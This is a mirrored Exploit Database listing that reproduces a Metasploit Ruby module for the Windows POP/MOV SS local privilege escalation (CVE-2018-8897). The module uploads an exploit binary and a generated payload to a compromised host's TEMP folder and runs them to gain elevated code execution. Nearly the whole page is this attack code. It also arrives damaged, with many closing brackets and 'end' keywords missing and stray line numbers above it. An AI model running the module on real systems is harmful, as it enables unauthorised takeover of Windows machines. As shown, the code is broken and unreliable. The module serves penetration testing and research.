Microsoft Windows – POP/MOV SS Local Privilege Elevation (Metasploit)

Exploit Database
111 阅读

作者： Metasploit

日期： 2018-07-13
类别：
- local
平台：
- windows
来源：https://www.exploit-db.com/exploits/45024/

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

174

175

# This module requires Metasploit: https://metasploit.com/download

# Current source: https://github.com/rapid7/metasploit-framework

require 'msf/core/post/common'

require 'msf/core/post/file'

require 'msf/core/post/windows/priv'

require 'msf/core/post/windows/registry'

require 'msf/core/exploit/exe'

class MetasploitModule < Msf::Exploit::Local

Rank = ExcellentRanking

include Msf::Post::Common

include Msf::Post::File

include Msf::Post::Windows::Priv

include Msf::Exploit::EXE

def initialize(info = {})

super(update_info(info,

'Name' => 'Microsoft Windows POP/MOV SS Local Privilege Elevation Vulnerability',

'Description'=> %q{

This module exploits a vulnerability in a statement in the system programming guide

of the Intel 64 and IA-32 architectures software developer's manual being mishandled

in various operating system kerneles, resulting in unexpected behavior for #DB

excpetions that are deferred by MOV SS or POP SS.

This module will upload the pre-compiled exploit and use it to execute the final

payload in order to gain remote code execution.

'License'=> MSF_LICENSE,

'Author' =>

[

'Nick Peterson',# Original discovery (@nickeverdox)

'Nemanja Mulasmajic', # Original discovery (@0xNemi)

'Can Bölük <can1357>',# PoC

'bwatters-r7' # msf module

'Platform' => [ 'win' ],

'SessionTypes' => [ 'meterpreter' ],

'Targets'=>

[

[ 'Windows x64', { 'Arch' => ARCH_X64 } ]

'DefaultTarget'=> 0,

'DisclosureDate' => 'May 08 2018',

'References' =>

[

['CVE', '2018-8897'],

['EDB', '44697'],

['BID', '104071'],

['URL', 'https://github.com/can1357/CVE-2018-8897/'],

['URL', 'https://blog.can.ac/2018/05/11/arbitrary-code-execution-at-ring-0-using-cve-2018-8897/']

'DefaultOptions' =>

{

'DisablePayloadHandler' => 'False'

}

))

register_options([

OptString.new('EXPLOIT_NAME',

[false, 'The filename to use for the exploit binary (%RAND% by default).', nil]),

OptString.new('PAYLOAD_NAME',

[false, 'The filename for the payload to be used on the target host (%RAND%.exe by default).', nil]),

OptString.new('PATH',

[false, 'Path to write binaries (%TEMP% by default).', nil]),

OptInt.new('EXECUTE_DELAY',

[false, 'The number of seconds to delay before executing the exploit', 3])

])

end

def setup

super

@exploit_name = datastore['EXPLOIT_NAME'] || Rex::Text.rand_text_alpha((rand(8)+6))

@payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(8)+6))

@exploit_name = "#{exploit_name}.exe" unless exploit_name.match(/\.exe$/i)

@payload_name = "#{payload_name}.exe" unless payload_name.match(/\.exe$/i)

@temp_path = datastore['PATH'] || session.sys.config.getenv('TEMP')

@payload_path = "#{temp_path}\\#{payload_name}"

@exploit_path = "#{temp_path}\\#{exploit_name}"

@payload_exe = generate_payload_exe

end

def validate_active_host

begin

host = session.session_host

print_status("Attempting to PrivEsc on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}")

rescue Rex::Post::Meterpreter::RequestError => e

elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")

raise Msf::Exploit::Failed, 'Could not connect to session'

end

def validate_remote_path(path)

unless directory?(path)

fail_with(Failure::Unreachable, "#{path} does not exist on the target")

end

def validate_target

if sysinfo['Architecture'] == ARCH_X86

fail_with(Failure::NoTarget, 'Exploit code is 64-bit only')

end

if sysinfo['OS'] =~ /XP/

fail_with(Failure::Unknown, 'The exploit binary does not support Windows XP')

end

def ensure_clean_destination(path)

if file?(path)

print_status("#{path} already exists on the target. Deleting...")

begin

file_rm(path)

print_status("Deleted #{path}")

rescue Rex::Post::Meterpreter::RequestError => e

elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")

print_error("Unable to delete #{path}")

end

def ensure_clean_exploit_destination

ensure_clean_destination(exploit_path)

end

def ensure_clean_payload_destination

ensure_clean_destination(payload_path)

end

def upload_exploit

local_exploit_path = ::File.join(Msf::Config.data_directory, 'exploits', 'cve-2018-8897-exe', 'cve-2018-8897-exe.exe')

upload_file(exploit_path, local_exploit_path)

print_status("Exploit uploaded on #{sysinfo['Computer']} to #{exploit_path}")

end

def upload_payload

write_file(payload_path, payload_exe)

print_status("Payload (#{payload_exe.length} bytes) uploaded on #{sysinfo['Computer']} to #{payload_path}")

end

def execute_exploit

sleep(datastore['EXECUTE_DELAY'])

print_status("Running exploit #{exploit_path} with payload #{payload_path}")

output = cmd_exec('cmd.exe', "/c #{exploit_path} #{payload_path}")

vprint_status(output)

end

def exploit

begin

validate_active_host

validate_target

validate_remote_path(temp_path)

ensure_clean_exploit_destination

ensure_clean_payload_destination

upload_exploit

upload_payload

execute_exploit

rescue Rex::Post::Meterpreter::RequestError => e

elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")

print_error(e.message)

ensure_clean_exploit_destination

ensure_clean_payload_destination

end

attr_reader :exploit_name

attr_reader :payload_name

attr_reader :payload_exe

attr_reader :temp_path

attr_reader :payload_path

attr_reader :exploit_path

end